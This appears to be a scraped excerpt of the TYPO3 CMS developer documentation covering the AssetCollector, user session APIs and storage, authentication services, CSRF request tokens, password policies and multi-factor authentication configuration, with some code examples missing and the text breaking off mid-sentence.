This chapter contains a description of the formal requirements or standards
regarding coding that you should adhere to when you develop TYPO3
extensions or Core parts.
This chapter goes into details about automatic testing: Writing,
maintaining and running them in various scopes.
Introduction
TYPO3 is a content management system based on PHP.
The TYPO3 - Getting Started Tutorial gives you an
introduction to the core concepts of TYPO3 and will help you to kickstart your
first project.
A basic TYPO3 installation
Installation with Composer is covered in the Getting Started Guide
(see Installation chapter).
If you think you have found a bug in the TYPO3 Core code, have a look at our
issue tracker on forge
where you can check if the bug has already been reported or not.
API A-Z
The TYPO3 Core code serves a dual purpose: It functions both as an out-of-the-box
application and as a library providing APIs for extensions that enhance projects
with additional functionality.
The TYPO3 Core itself organizes its code into extensions as well, with the "core"
extension offering the majority of API classes. These classes are utilized by
other key extensions such as "frontend" and "backend". These three extensions
are mandatory for any TYPO3-based project, while others, like "scheduler,"
are optional.
This chapter focuses on the APIs primarily provided by these three essential
extensions.
TYPO3 APIs are primarily documented within the source code itself. Maintaining
documentation in multiple locations is impractical due to the frequent changes
in the codebase. This chapter highlights the most critical elements of the
API.
The TYPO3 component responsible for rendering the HTML and adding assets to a
TYPO3 frontend or backend page is called
\TYPO3\CMS\Core\Page\PageRenderer .
The
PageRenderer collects all assets to be rendered, takes care of
options such as concatenation or compression and finally generates the necessary
tags.
There are multiple ways to add assets to the
PageRenderer in TYPO3.
For configuration options via TypoScript (usually used for the main theme files),
see the TypoScript Reference. In
extensions, both directly using the
PageRenderer as well as using the
more convenient
AssetCollector is possible.
Asset collector
With the
\TYPO3\CMS\Core\Page\AssetCollector class, CSS and JavaScript
code (inline or external) can be added multiple times, but rendered only once in
the output. The class may be used directly in PHP code or the assets can be
added via the
<f:asset.css> and
<f:asset.script> ViewHelpers.
The
priority flag (default:
false) controls where the asset is
inserted:
JavaScript will be output inside
<head> if
$priority == true,
or at the bottom of the
<body> tag if
$priority == false.
CSS will always be output inside
<head>, yet grouped by
$priority.
The asset collector helps to work with content elements as components,
effectively reducing the CSS to be loaded. It takes advantage of HTTP/2, which
removes the necessity to concatenate all files in one file.
The asset collector class is implemented as a singleton
(
\TYPO3\CMS\Core\SingletonInterface ). It replaces various other existing
options in TypoScript and methods in PHP for
inserting JavaScript and CSS code.
The asset collector also collects information about images on a page,
which can be used in cached and non-cached components.
New in version 13.3
Option external to skip URL processing in AssetRenderer has been added.
The
AssetCollector option external can be used for
asset files using
$assetCollector->addStyleSheet()
or
$assetCollector->addJavaScript(). If set all processing of the asset
URI (like the addition of the cache busting parameter) is skipped and the input
path will be used as-is in the resulting HTML tag.
The API
classAssetCollector
Fully qualified name
\TYPO3\CMS\Core\Page\AssetCollector
The Asset Collector is responsible for keeping track of
- everything within <script> tags: javascript files and inline javascript code
- inline CSS and CSS files
The goal of the asset collector is to:
- utilize a single "runtime-based" store for adding assets of certain kinds that are added to the output
- allow to deal with assets from non-cacheable plugins and cacheable content in the Frontend
- reduce the "power" and flexibility (I'd say it's a burden) of the "god class" PageRenderer.
- reduce the burden of storing everything in PageRenderer
As a side effect this allows to:
- Add a single CSS snippet or CSS file per content block, but assure that the CSS is only added once to the output.
Note on the implementation:
- We use a Singleton to make use of the AssetCollector throughout Frontend process (similar to PageRenderer).
- Although this is not optimal, I don't see any other way to do so in the current code.
One dimensional hash map (array with non-numerical keys) with scalar values
Returns
self
removeJavaScript(string $identifier)
param $identifier
the identifier
Returns
self
removeInlineJavaScript(string $identifier)
param $identifier
the identifier
Returns
self
removeStyleSheet(string $identifier)
param $identifier
the identifier
Returns
self
removeInlineStyleSheet(string $identifier)
param $identifier
the identifier
Returns
self
removeMedia(string $identifier)
param $identifier
the identifier
Returns
self
getMedia()
Returns
array
getJavaScripts(?bool $priority = NULL)
param $priority
the priority, default: NULL
Returns
array
getInlineJavaScripts(?bool $priority = NULL)
param $priority
the priority, default: NULL
Returns
array
getJavaScriptModules()
Returns
array
getStyleSheets(?bool $priority = NULL)
param $priority
the priority, default: NULL
Returns
array
getInlineStyleSheets(?bool $priority = NULL)
param $priority
the priority, default: NULL
Returns
array
hasJavaScript(string $identifier)
param $identifier
the identifier
Returns
bool
hasInlineJavaScript(string $identifier)
param $identifier
the identifier
Returns
bool
hasStyleSheet(string $identifier)
param $identifier
the identifier
Returns
bool
hasInlineStyleSheet(string $identifier)
param $identifier
the identifier
Returns
bool
hasMedia(string $fileName)
param $fileName
the fileName
Returns
bool
Note
If the same asset is registered multiple times using different attributes or
options, both sets are merged. If the same attributes or options are given
with different values, the most recently registered ones overwrite the
existing ones. The
has methods can be used to check if an asset
exists before generating it again, hence avoiding redundancy.
ViewHelper
There are also two ViewHelpers, the
f:asset.css and the
f:asset.script ViewHelper which
use the
AssetCollector API.
Rendering order
Currently, CSS and JavaScript registered with the asset collector will be
rendered after their page renderer counterparts. The order is:
<head>
page.includeJSLibs.forceOnTop
page.includeJSLibs
page.includeJS.forceOnTop
page.includeJS
AssetCollector::addJavaScript() with 'priority'
page.jsInline
AssetCollector::addInlineJavaScript() with 'priority'
The property
additionalHeaderData has been marked as internal
and should not be used. Use
AssetCollector->addJavaScript() instead
(like described in the examples above).
Deprecated since version 13.4
The class
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController
and its global instance
$GLOBALS['TSFE'] have been marked as
deprecated. The class will be removed with TYPO3 v14.
The user session contains all information for logged in backend and
frontend users, as well as anonymous visitors without login. It can be
used to store session data like a shopping basket.
Enhance your TYPO3 security with Multi-Factor Authentication (MFA),
adding an extra layer of protection beyond passwords for safer logins.
Backend user API
In TYPO3, backend users (BE users) are responsible for managing content,
settings, and administration tasks within the backend. They are stored in the
be_users database table and authenticated via the
Backend user object
stored in the global variable
$GLOBALS['BE_USER']
(class
\TYPO3\CMS\Core\Authentication\BackendUserAuthentication ).
In TYPO3, frontend users (FE users) are responsible for accessing restricted
content and personalized areas of a TYPO3 website. They are stored in the
fe_users database table
and authenticated via the frontend.user request attribute
(class
\TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication ).
The system extension
typo3/cms-felogin
offers a plugin that can
included in the page so that frontend users can login and logout. It also
features a password-forgotten workflow.
The TYPO3 Core does not provide a plugin to register frontend users. There are
multiple third-party extensions available in the TER, for example
evoweb/sf-register
.
User sessions in TYPO3 are represented as
UserSession objects. The TYPO3
authentication service chain creates or updates user sessions
when authenticating users.
The
UserSession object contains all information regarding a user's session,
for website visitors with session data (e.g. basket for anonymous / not-logged-in users),
for frontend users as well as authenticated backend users. These are for example,
the session id, the session data, if a session was updated, if the session is anonymous,
or if it is marked as permanent and so on.
The
UserSession object can be used to change and
retrieve information in an object-oriented way.
For creating
UserSession objects the
UserSessionManager must be used
since this manager acts as the main factory for user
sessions and therefore handles all necessary tasks like fetching, evaluating
and persisting them. It effectively encapsulates all calls to the
SessionManager which is used for the
session backend.
Public API of
UserSessionManager
The
UserSessionManager can be retrieved using its static factory
method
create():
useTYPO3\CMS\Core\Session\UserSessionManager;
$loginType = 'BE'; // or 'FE' for frontend
$userSessionManager = UserSessionManager::create($loginType);
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You can then use the
UserSessionManager to work
with user sessions. A couple of public methods are available:
classUserSessionManager
Fully qualified name
\TYPO3\CMS\Core\Session\UserSessionManager
The purpose of the UserSessionManager is to create new user session objects (acting as a factory),
depending on the need / request, and to fetch sessions from the session backend, effectively
encapsulating all calls to the SessionManager.
The UserSessionManager can be retrieved using its static factory method create():
useTYPO3\CMS\Core\Session\UserSessionManager;
$loginType = 'BE'; // or 'FE' for frontend
$userSessionManager = UserSessionManager::create($loginType);
Creates and returns a session from the given request. If the given
$cookieName can not be obtained from the request an anonymous
session will be returned.
param $request
the request
param $cookieName
Name of the cookie that might contain the session
Return description
An existing session if one is stored in the cookie, an anonymous session otherwise
Returns
\UserSession
createAnonymousSession()
Creates and returns an anonymous session object (which is not persisted)
Regenerates the given session. This method should be used whenever a
user proceeds to a higher authorization level, for example when an
anonymous session is now authenticated.
param $sessionId
The session id
param $existingSessionRecord
If given, this session record will be used instead of fetching again, default: []
param $anonymous
If true session will be regenerated as anonymous session, default: false
Updates the session timestamp for the given user session if the session
is marked as "needs update" (which means the current timestamp is
greater than "last updated + a specified grace-time").
param $session
the session
Return description
A modified user session with a last updated value if needed
Creates a UserSessionManager instance for the given login type. Has
several optional arguments used for testing purposes to inject dummy
objects if needed.
Ideally, this factory encapsulates all TYPO3_CONF_VARS options, so
the actual object does not need to consider any global state.
param $loginType
the loginType
param $sessionLifetime
the sessionLifetime, default: NULL
param $sessionManager
the sessionManager, default: NULL
param $ipLocker
the ipLocker, default: NULL
Returns
static
setLogger(\Psr\Log\LoggerInterface $logger)
Sets a logger.
param $logger
the logger
Public API of
UserSession
The session object created or retrieved by the
UserSessionManager
provides the following API methods:
classUserSession
Fully qualified name
\TYPO3\CMS\Core\Session\UserSession
Represents all information about a user's session.
A user session can be bound to a frontend / backend user, or an anonymous session based on session data stored
in the session backend.
If a session is anonymous, it can be fixated by storing the session in the backend, but only if there
is data in the session.
if a session is user-bound, it is automatically fixated.
The $isNew flag is meant to show that this user session object was not
fetched from the session backend, but initialized in the first place by
the current request.
The $data argument stores arbitrary data valid for the user's session.
A permanent session is not issued by a session-based cookie but a
time-based cookie. The session might be persisted in the user's browser.
getIdentifier()
Return description
The session ID. This is the ses_id respectively the AbstractUserAuthentication->id
Returns
string
getUserId()
Return description
The user ID the session belongs to. Can also return 0 or NULL Which indicates an anonymous session. This is the ses_userid.
Returns
?int
getLastUpdated()
Return description
The timestamp of the last session data update. This is the ses_tstamp.
Returns
int
set(string $key, ?mixed $value)
Sets or updates session data value for a given $key. It is also
internally used if calling AbstractUserAuthentication->setSessionData()
param $key
The key whose value should be updated
param $value
The value or NULL to unset the key
hasData()
Checks whether the session has data assigned
Returns
bool
get(string $key)
Returns the session data for the given $key or NULL if the key does
not exist. It is internally used if calling
AbstractUserAuthentication->getSessionData()
param $key
the key
getData()
Return description
The whole data array.
Returns
array
overrideData(array $data)
Overrides the whole data array. Can also be used to unset the array.
This also sets the $wasUpdated pointer to true
param $data
the data
dataWasUpdated()
Checks whether the session data has been updated
Returns
bool
isAnonymous()
Checks if the user session is an anonymous one. This means, the
session does not belong to a logged-in user
Returns
bool
getIpLock()
Return description
The ipLock state of the session
Returns
string
isNew()
Checks whether the session is marked as new
Returns
bool
isPermanent()
Checks whether the session was marked as permanent
Verifies and resolves the session ID from a submitted cookie value:
Cookie: <JWT(HS256, [identifier => <session-id>], <signature(encryption-key, cookie-domain)>)>
param $cookieValue
submitted cookie value
param $scope
the scope
Return description
Session ID, null in case verification failed
Returns
non-empty-string|null
Session storage framework
TYPO3 comes with the option to choose between different storages for both
frontend and backend user sessions (called session backends).
The Core ships two session backends by default:
Database storage
Redis storage
By default user sessions are stored in the database using the database
storage backend.
Database storage backend
The database storage backend only requires two configuration options:
The table name (table option) and whether anonymous sessions (has_anonymous option) may be stored.
The default configuration used for sessions by the Core is:
Name of the server the redis database service is running on.
Default: 127.0.0.1
port
Port number the redis database service is listening to. Default: 6379
database
The redis database number to use. Default: 0
password
The password to use when connecting to the specified database. Optional.
Tip
If a Redis instance is running on the same machine as the webserver
the hostname 'localhost' can be used.
Writing your own session storage
Custom sessions storage backends can be created by implementing the interface
\TYPO3\CMS\Core\Session\Backend\SessionBackendInterface . The doc blocks
in the interface describe how the implementing class must behave. Any number
of options can be passed to the session backend.
A custom session storage backend can be used like this (similarly to
the Redis backend):
The TYPO3 Core uses Services for the authentication process.
This family of services (of type "auth") are the only Core usage that consumes the
Services API.
The aim of this chapter is to describe the authentication
services so that developers feel confident about writing
their own.
Services provide the flexibility needed for such a complex
process of authentication, where many methods may be desirable
(single sign-on, IP-based authentication, third-party servers
such as LDAP, etc.) depending on the context.
The ease with which such services can be developed is a strong
point in favor of TYPO3, especially in corporate environments.
Being able to toy with priority and quality allows for
precise fine-tuning of the authentication chain.
Alternative services are available in the TYPO3 Extension Repository.
It is thus possible to find solutions for using LDAP as an
authentication server, for example.
You can check which authentication services are installed
using the System > Reports > Installed Services
view:
All installed authentication services and their priority
Note
For the Reports module to be visible, the system extension
reports has to be installed. You can install it via Composer:
composer require typo3/cms-reports
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The Authentication Process
The authentication process is not managed entirely by services.
It is handled essentially by class
\TYPO3\CMS\Core\Authentication\BackendUserAuthentication
for the backend (BE) and by class
\TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication
for the frontend (FE), which both inherit from class
\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication .
The objects for these classes are available via
$GLOBALS['BE_USER'] for
BackendUserAuthentication and
"frontend.user" request attribute for
FrontendUserAuthentication
These classes are called by the
bootstrapping process.
They manage the workflow of the authentication process.
Services are used strictly to identify and validate
users based on whatever form of credentials a given service
relies on (by default, a username and a password).
The authentication process kicks in on every page request,
be it in the FE or the BE. However if a valid session already exists,
that session is kept. Strictly speaking, no authentication
is performed in such a case.
Note
When no session exists, the authentication process is triggered
by a login request. In the frontend, this happens when a form field
called logintype is submitted with value login. The same
happens for the backend, but with a form field called login_status.
JSON Web Tokens (JWT) are used to transport user
session identifiers in be_typo_user and fe_typo_user cookies.
Using JWT's HS256 (HMAC signed based on SHA256) allows to determine whether a
session cookie is valid before comparing with server-side stored session data.
This enhances the overall performance a bit, since sessions cookies would be
checked for every request to TYPO3's backend and frontend.
The session cookies can be pre-validated without querying the database, which
can filter invalid requests and might improve overall performance a bit.
As a consequence session tokens are not sent "as is", but are wrapped in a
corresponding JWT message, which contains the following payload:
identifier reflects the actual session identifier
time reflects the time of creating the cookie (RFC 3339 format)
The login data
There is a typical set of data that is transmitted to authentication
service in order to enable them to do their work:
uname
This is the user name. This can be whatever makes sense for the
available authentication services. For the default service, this
will match data from the "username" column of the "be_users" or
"fe_users" table for BE or FE authentication respectively.
uident
This is the password, possibly encrypted.
uident_text
This is the clear text value of the password. If the password is
originally submitted in clear text, both "uident" and "uident_text"
contain the same value.
Inside an authentication service, this data is available in
$this->login.
The "auth" services API
The services of type "auth" are further divided into subtypes,
which correspond to various steps in the authentication process.
Most subtypes exist for both FE and BE and are differentiated
accordingly.
To each subtype corresponds a part of the "auth" services public
API. They are listed below in the order in which they are called
during the authentication process.
processLoginDataBE, processLoginDataFE
This subtype performs preprocessing on the submitted
login data.
The method to implement is
processLoginData().
It receives as argument the login data and the password
transmission strategy (which corresponds to the login security
level, where only 'normal' can be used.
It returns the boolean value
true,
when the login data has been successfully processed .
It may also return a numerical value equal to 200 or greater,
which indicates that no further login data processing should
take place (see The service chain).
In particular, this subtype is implemented by the TYPO3 Core
AuthenticationService, which trims the given login data.
getUserFE, getUserBE
This subtype corresponds to the operation of searching in the
database if the credentials that were given correspond to an
existing user. The method to implement is
getUser().
It is expected to return an array containing the user information
or
false if no user was found.
authUserFE, authUserBE
This subtype performs the actual authentication based on the
provided credentials. The method to implement is
authUser().
It receives the user information (as returned by
getUser())
as an input and is expected to return a numerical value,
which is described later.
Note
Before any of the above-mentioned methods are called, the authentication
process will call the
initAuth() method of each service. This
sets up a lot of data for the service. It also makes it possible to
override part of the default settings with
service-specific options.
This represents very advanced tuning and is not described here.
Please refer to
\TYPO3\CMS\Core\Authentication\AbstractAuthenticationService::initAuth()
to learn more about the possibilities offered during authentication services
initialization.
The service chain
No matter what subtype, authentication services are always called
in a chain. This means that
all registered "auth" services will be called, in order of
decreasing priority and quality.
However, for some subtypes, there are ways to stop the chain.
For "processLoginDataBE" and "processLoginDataFE" subtypes, the
processLoginData()
method may return a numerical value of 200 or more. In such a case
no further services are called and login data is not further
processed. This makes it possible for a service to perform
a form of final transformation on the login data.
For "authUserFE" and "authUserBE" subtypes, the
authUser() method may
return different values:
Warning
Previously, there was an error in the documentation. It did not match
the actual behaviour. This has now been fixed. For details, see
forge#91993.
a negative value or 0 (<=0) indicates that the authentication has
definitely failed and that no other "auth" service should be
called up.
a value larger than 0 and smaller than 100 indicates that the authentication
was successful, but that further services should also perform their
own authentication.
a value of 100 or more (>= 100) indicates that the user was not authenticated,
this service is not responsible for the authentication and that further
services should authenticate.
a value of 200 or more (>=200) indicates that the authentication was successful
and that no further tries should be made by other services down
the chain.
auth failed
auth success
no auth
continue
1..99
100..199
stop
<= 0
>= 200
For "getUserFE" and "getUserBE" subtypes, the logic is reversed.
The service chain will stop as soon as one user is found.
Developing an authentication service
Use the Service API to implement your service class.
When developing your own "auth" services, the chances are high
that you will want to implement only the "getUser*" and "authUser*"
subtypes.
There are several public extensions providing such services, so you should
be able to find examples to inspire and guide you. Anyway authentication
services can be very different from one another, so it wouldn't make much
sense to try and provide an example in this manual.
One important thing to know is that the TYPO3 authentication
process needs to have users inside database records ("fe_users" or
"be_users"). This means that if you interface with a third-party
server, you will need to create records on the TYPO3 side. It is
up to you to choose whether this process happens on the fly (during
authentication) or if you want to create an import process (as a
Scheduler task, for example) that will synchronize users between
TYPO3 and the remote system.
Note
You probably do not want to store the actual password of imported
users in the TYPO3 database. It is recommended to store
an arbitrary string in such case, making sure that such string
is random enough for security reasons. TYPO3 provides method
\TYPO3\CMS\Core\Crypto\Random::generateRandomHexString()
which can be used for such a purpose.
For the
authUser() method, you will want to take care
about the return values. If your service should be the final
authority for authentication, it should not only have a high priority,
but also return values which stop the service chain (i.e.
a negative value for failed authentication, 200 or more for a
successful one). On the other hand, if your service is an alternative
authentication, but should fall back on TYPO3 if unavailable,
you will want to return 100 on failure, so that the default service
can take over.
Things can get a bit hairy if you have a scenario with mixed sources,
for example some users come from a third-party server but others
exist only in TYPO3. In such a case, you want to make sure that
your service returns definite authentication failures only for those
users which depend on the remote system and let the default
authentication proceed for "local" TYPO3 users.
Advanced Options
There are some special configuration options which can be used
to modify the behaviour of the authentication process. Some
impact the inner working of the services themselves, others
influence when services are called.
It is possible to force TYPO3 to go through the
authentication process for every request no matter any
existing session. By setting the following local configuration
either for the FE or the BE:
This could be used in a scenario where users go through a login portal
and then choose to access the TYPO3 backend, for example. In such a case
we would want the users to be automatically authenticated, but would not
need to repeat the process upon each request.
The authentication process can also be forced to go through
all services for the "getUser*" subtype by setting:
for BE or FE respectively. This will collect all possible users rather than
stopping at the first one available.
CSRF-like request token handling
A CSRF-like request token handling is available to mitigate potential cross-site
requests on actions with side effects. This approach does not require an
existing server-side user session, but uses a nonce as a "pre-session". The
main scope is to ensure a user actually has visited a page, before submitting
data to the webserver.
This token can only be used for HTTP methods POST, PUT or PATCH, but
for instance not for a GET request.
The
\TYPO3\CMS\Core\Middleware\RequestTokenMiddleware resolves
request tokens and nonce values from a request and enhances responses with
a nonce value in case the underlying application issues one. Both items are
serialized as a JSON Web Token (JWT) hash signed with HS256. Request tokens
use the provided nonce value during signing.
Session cookie names involved for providing the nonce value depending on the request:
typo3nonce_[hash] - plain HTTP
__Secure-typo3nonce_[hash] - secured HTTPS
Submitting request token value to application:
HTTP body, for example in <form> via parameter __RequestToken
HTTP header, for example in XHR via header X-TYPO3-Request-Token
Attention
When working with multiple browser tabs, an existing nonce value (stored as
session cookie in the browser of the user) might be overridden.
Note
The current concept uses the
\TYPO3\CMS\Core\Security\NoncePool which
supports five different nonces in the same request. The pool purges nonces
15 minutes (900 seconds) after they have been issued.
This happens on the previous legitimate visit on a page that offers
a corresponding form that shall be protected. The RequestToken and Nonce
objects (later created implicitly in this example) are organized in the
\TYPO3\CMS\Core\Context\SecurityAspect .
Invoke action request and provide nonce and request token values
When submitting the form and invoking the corresponding action, same-site
cookies typo3nonce_[hash] and request-token value __RequestToken are
sent back to the server. Without using a separate nonce in a scope that is
protected by the client, the corresponding request token could be easily
extracted from markup and used without having the possibility to verify the
procedural integrity.
The middleware
\TYPO3\CMS\Core\Middleware\RequestTokenMiddleware
takes care of providing the received nonce and received request token values
in
\TYPO3\CMS\Core\Context\SecurityAspect . The handling controller
action needs to verify that the request token has the expected
'my/process' scope.
<?phpuseTYPO3\CMS\Core\Context\Context;
useTYPO3\CMS\Core\Context\SecurityAspect;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyController{
publicfunctionshowFormAction(){
// for the implementation, see above
}
publicfunctionprocessAction(){
$context = GeneralUtility::makeInstance(Context::class);
$securityAspect = SecurityAspect::provideIn($context);
$requestToken = $securityAspect->getReceivedRequestToken();
if ($requestToken === null) {
// No request token was provided in the request// for example, (overridden) templates need to be adjusted
} elseif ($requestToken === false) {
// There was a request token, which could not be verified with the nonce// for example, when nonce cookie has been overridden by another HTTP request
} elseif ($requestToken->scope !== 'my/process') {
// There was a request token, but for a different scope// for example, when a form with different scope was submitted
} else {
// The request token was valid and for the expected scope$this->doTheMagic();
// The middleware takes care to remove the cookie in case no other// nonce value shall be emitted during the current HTTP requestif ($requestToken->getSigningSecretIdentifier() !== null) {
$securityAspect->getSigningSecretResolver()->revokeIdentifier(
$requestToken->getSigningSecretIdentifier(),
);
}
}
}
}
TYPO3 includes a password policy validator which can be used to validate
passwords against configurable password policies. A default password policy is
included which ensures that passwords meet the following requirements:
At least 8 characters
At least one number
At least one upper case character
At least one special character
It must be different than current password (if available)
Password policies can be configured individually for both frontend and backend
context. It is also possible to extend a password policy with custom validation
requirements.
The password policy applies to:
Creating a backend user during installation
Setting a new password for a backend user in User settings
Resetting a password for a backend user
Resetting a password for a frontend user
Password fields in tables
be_users and
fe_users
Optionally, a password policy can be configured for custom TCA fields of the
type password.
Configuring password policies
A password policy is defined in the TYPO3 global configuration. Each policy
must have a unique identifier (the identifier default is reserved by TYPO3)
and must at least contain one validator.
The password policy identifier is used to assign the defined password policy
to the backend and/or frontend context. By default, TYPO3 uses the
password policy default:
This validator can be used to ensure, that the new user password is not
equal to the old password. The validator must always be configured with
the exclude action
\TYPO3\CMS\Core\PasswordPolicy\PasswordPolicyAction::NEW_USER_PASSWORD,
because it should be excluded, when a new user account is created.
To disable the password policy globally (e.g. for local development) an empty
string has to be supplied as password policy for frontend and backend context:
if (\TYPO3\CMS\Core\Core\Environment::getContext()->isDevelopment()) {
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordPolicy'] = '';
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordPolicy'] = '';
}
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Warning
Do not deactivate the password policies on a production server as this
decreases security massively. In the example above the deactivation of
the password policies is wrapped into a condition which is only applied
in development context.
Custom password validator
To create a custom password validator, a new class has to be added which
extends
\TYPO3\CMS\Core\PasswordPolicy\Validator\AbstractPasswordValidator .
It is required to overwrite the following functions:
public function initializeRequirements(): void
public function validate(string $password, ?ContextData $contextData = null): bool
Please refer to
\TYPO3\CMS\Core\PasswordPolicy\Validator\CorePasswordValidator
for a detailed implementation example.
Tip
The third-party extension
derhansen/add_pwd_policy
provides additional
password validators. It can also be used as a resource for writing your
own password validator.
Validate a password manually
You can use the
\TYPO3\CMS\Core\PasswordPolicy\PasswordPolicyValidator to validate a
password using the validators configured in
$GLOBALS['TYPO3_CONF_VARS']['SYS']['passwordPolicies'] .
In the following example a command to generate
a public-private key pair validates the password from user input against the
default policy of the current TYPO3 installation.
TYPO3 is capable of authentication via multiple factors, in short
"multi-factor authentication" or "MFA". This is sometimes also referred to
"2FA" as a 2-factor authentication process, where - in order to log in - the
user needs
"something to know" (= the password) and
"something to own" (= an authenticator device, or an authenticator app
on mobile phones or desktop devices).
TYPO3 ships with some built-in MFA providers by default. But more importantly,
TYPO3 provides an API to allow extension authors to integrate their own
MFA providers.
The API is designed in a way to allow providers to be used for TYPO3 backend
authentication or frontend authentication with a multi-factor step in-between.
Note
Currently, TYPO3 provides the integration for the TYPO3 backend. It is
planned to support multi-factor authentication for the frontend in the
future.
Managing MFA providers is currently possible via the User Settings
module in the tab called Account security.
Manage your MFA providers in the User Settings module
The Account security tab displays the current state:
whether MFA can be configured
whether MFA is activated or
whether some MFA providers are locked
Included MFA providers
TYPO3 Core includes two MFA providers:
Time-based one-time password (TOTP)
TOTP is the most common MFA implementation. A QR code is scanned (or alternatively,
a shared secret can be entered) to connect an authenticator app such as Google
Authenticator, Microsoft Authenticator, 1Password, Authly, or others to the
system and then synchronize a token, which changes every 30 seconds.
On each log-in, after successfully entering the password, the six-digit code
shown by the authenticator app must be entered.
Recovery codes
This is a special provider which can only be activated, if at least one other
provider is active. It is only meant as a fallback provider, in case the
authentication credentials for the "main" provider(s) are lost. It is encouraged
to activate this provider, and keep the codes at a safe place.
Each provider is displayed with its icon, the name and a short description in
the MFA configuration module. In case a provider is active, this is indicated by
a corresponding label, next to the provider's title. The same goes for a locked
provider - an active provider, which can currently not be used since the
provider-specific implementation detected some unusual behaviour, for example,
too many false authentication attempts. Additionally, the configured default
provider indicates this state with a "star" icon, next to the provider's title.
Each inactive provider contains a Setup button which opens the
corresponding configuration view. This view can be different depending on the
MFA provider.
MFA TOTP provider configuration screen
Each provider contains an Edit/Change button, which allows to adjust
the provider's settings. This view allows, for example, to set a provider as the
default (primary) provider, to be used on authentication.
Note
The default provider setting will be automatically applied on activation of
the first provider, or in case it is the recommended provider for this user.
In case the provider is locked, the Edit/Change button changes its button
title to Unlock. This button can be used to unlock the provider.
This, depending on the provider to unlock, may require further actions by the
user.
The Deactivate button can be used to deactivate the provider.
Depending on the provider, this will usually completely remove all
provider-specific settings.
The "Authentication view" is displayed as soon as a user
with at least one active provider has successfully passed the username and
password mask.
As for the other views, it is up to the specific provider, used for the current
multi-factor authentication attempt, what content is displayed in which view.
If the user has further active providers, the view displays them
as "Alternative providers" in the footer to allow the user to switch between all
activated providers on every authentication attempt.
All providers need to define a locking functionality. In case of the TOTP and
recovery code providers, this, for example, includes an attempts count. These
providers are locked in case a wrong OTP was entered three times in a
row. The count is automatically reset as soon as a correct OTP is
entered or the user unlocks the provider in the backend.
All TYPO3 Core providers also feature the "Last used" and "Last updated"
information which can be retrieved in the "Edit/Change" view.
By default, the field in the User Settings module is displayed for
every backend user. It is possible to
disable it for specific
users via user TSconfig:
setup.fields.mfaProviders.disabled = 1
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Administration of user's MFA providers
If a user is not able to access the backend anymore, for example, because all of
their active providers are locked, MFA needs to be disabled by an administrator
for this specific user.
Administrators are able to manage the user's MFA providers in the corresponding
user record. The new Multi-factor authentication field displays a
list of active providers and a button to deactivate MFA for the user, or
only a specific MFA provider.
Note
All of these deactivate buttons are executed immediately, after
confirming the dialog, and cannot be undone.
The listing of backend users in the System > Backend Users module
also displays for each user, whether MFA is enabled or currently locked. This
allows an administrator to analyze the MFA usage of their users at a glance.
The System > Configuration admininistration module shows an overview
of all currently registered providers in the installation. This is especially
helpful to find out the exact provider identifier, needed for some
user TSconfig options.
Do not require multi-factor authentication (default)
1
Require multi-factor authentication for all users
2
Require multi-factor authentication only for non-admin users
3
Require multi-factor authentication only for admin users
To set this requirement only for a specific user or user group, a user TSconfig
option auth.mfa.required <t3tsref:user-auth-mfa-required> is available.
The user TSconfig option overrules the global configuration.
auth.mfa.required = 1
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Allowed provider
It is possible to only allow a subset of the available providers for some users
or user groups.
A configuration option "Allowed multi-factor authentication providers" is
available in the user groups record in the "Access List" tab.
There may be use cases in which a single provider should be
disallowed for a specific user, which is configured to be allowed in
one of the assigned user groups. Therefore, the user TSconfig option
auth.mfa.disableProviders can
be used. It overrules the configuration from the "Access List": if a provider is
allowed in "Access List" but disallowed via user TSconfig, it will be disallowed
for the user or user group the TSconfig applies to.
This does not affect the remaining allowed providers from the "Access List".
To set a recommended provider on a per user or user group basis, the user
TSconfig option auth.mfa.recommendedProvider
can be used, which overrules the global configuration.
auth.mfa.recommendedProvider = totp
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TYPO3 integration and API
To register a custom MFA provider, the provider class has to implement the
EXT:core/Classes/Authentication/Mfa/MfaProviderInterface.php (GitHub), shipped via a
third-party extension. The provider then has to be configured in the extension's
Services.yaml or Services.php file with the
mfa.provider
tag.
EXT:my_extension/Configuration/Services.yaml
services:# Place here the default dependency injection configurationMyVendor\MyExtension\Authentication\Mfa\MyProvider:tags:-name:mfa.provideridentifier:'my-provider'title:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.title'description:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.description'setupInstructions:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.setupInstructions'icon:'tx-myextension-provider-icon'
This will register the provider
MyProvider with the
my-provider
identifier. To change the position of your provider the
before and
after arguments can be useful. This can be needed, for example, if you
like your provider to show up prior to any other provider in the MFA
configuration module. The ordering is also taken into account in the
authentication step while logging in. Note that the user-defined default
provider will always take precedence.
If you do not want your provider to be selectable as a default provider, set the
defaultProviderAllowed argument to false.
You can also completely deactivate existing providers with:
EXT:my_extension/Configuration/Services.yaml
services:# Place here the default dependency injection configurationTYPO3\CMS\Core\Authentication\Mfa\Provider\TotpProvider:~
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You can also register multiple providers:
EXT:my_extension/Configuration/Services.yaml
services:# Place here the default dependency injection configurationMyVendor\MyExtension\Authentication\Mfa\MyFirstProvider:tags:-name:mfa.provideridentifier:'my-provider-1'title:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider1.title'description:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider1.description'setupInstructions:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider1.setupInstructions'icon:'tx-myextension-provider1-icon'MyVendor\MyExtension\Authentication\Mfa\MySecondProvider:class:TYPO3\CMS\Core\Authentication\Mfa\Provider\TotpProvidertags:-name:mfa.provideridentifier:'my-provider-2'title:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider2.title'description:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider2.description'setupInstructions:'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider2.setupInstructions'icon:'tx-myextension-provider2-icon'# Important so that this provider acts as a fallbackdefaultProviderAllowed:truebefore:'recovery-codes'# Execute after the primary totpafter:'totp'
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The
MfaProviderInterface contains a lot of methods to be implemented by
